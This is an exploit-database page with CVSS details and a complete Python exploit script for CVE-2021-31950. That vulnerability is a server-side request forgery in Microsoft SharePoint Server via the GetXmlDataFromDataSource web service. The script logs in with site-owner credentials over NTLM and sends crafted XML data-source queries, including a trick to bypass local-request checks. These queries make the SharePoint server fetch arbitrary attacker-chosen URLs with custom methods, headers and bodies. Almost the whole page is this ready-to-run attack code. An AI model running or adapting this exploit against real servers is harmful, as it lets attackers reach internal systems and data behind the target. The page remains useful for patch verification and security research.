Microsoft SharePoint Server 16.0.10372.20060 Server-Side Request Forgery

2021.06.11
Credit: Alex Birnberg
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-918


CVSS Base Score: 5.5/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) # Date: 09 Jun 2021 # Exploit Author: Alex Birnberg # Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462 # Version: 16.0.10372.20060 # Tested on: Windows Server 2019 # CVE : CVE-2021-31950 #!/usr/bin/env python3 import html import random import string import xml.sax.saxutils import textwrap import requests import argparse import xml.etree.ElementTree as ET from requests_ntlm2 import HttpNtlmAuth from urllib.parse import urlencode, urlparse class Exploit: def __init__(self, args): o = urlparse(args.url) self.url = args.url self.service = o.path self.username = args.username self.password = args.password self.target = args.target self.headers = args.header self.method = args.request self.data = args.data self.content_type = args.content_type self.s = requests.Session() self.s.auth = HttpNtlmAuth(self.username, self.password) self.s.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' } self.s.proxies = { 'http': 'http://127.0.0.1:8080' } def trigger(self): headers = '' if self.headers: for header in self.headers: header = list(map(lambda x: x.strip(), header.split(':'))) if len(header) != 2: continue headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1]) method = '' bypass_local = '' if self.method and self.method.upper() == 'POST': method = 'HTTP Post' else: method = 'HTTP Get' bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16))) content_type = '' if self.content_type and len(self.content_type): content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type) data = '' if self.data and len(self.data): data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8')) query_xml = textwrap.dedent('''\ <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl"> <udc:ConnectionInfo> <udcs:Location href="">XMLURLDataAdapter</udcs:Location> <soap:Header> <dsp:versions> </dsp:versions> <dsp:request method="query" /> </soap:Header> <soap:Body> <dsp:queryRequest> <dsp:ptQuery> <dataurl:Headers> <dataurl:Url href="{}" Method="{}"/> {} {} {} {} </dataurl:Headers> </dsp:ptQuery> </dsp:queryRequest> </soap:Body> </udc:ConnectionInfo> </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type)) query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', '')) data = textwrap.dedent('''\ <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages"> <queryXml>{}</queryXml> </GetXmlDataFromDataSource> </soap:Body> </soap:Envelope>'''.format(query_xml)) r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data) root = ET.fromstring(r.content) try: namespaces = { 'soap': 'http://schemas.xmlsoap.org/soap/envelope/' } value = list(root.find('soap:Body', namespaces).iter())[2] if value.tag == 'faultcode': print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text) else: print(value.text) except: print(r.content) pass def soap(self, service, action, data): headers = { 'SOAPAction': '"{}"'.format(action), 'Host': 'localhost', 'Content-Type': 'text/xml; charset=utf-8', } return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--url', help='Base URL', required=True, metavar='<url>') parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>') parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>') parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>') parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>') parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>') parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>') exploit = Exploit(parser.parse_args()) exploit.trigger()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top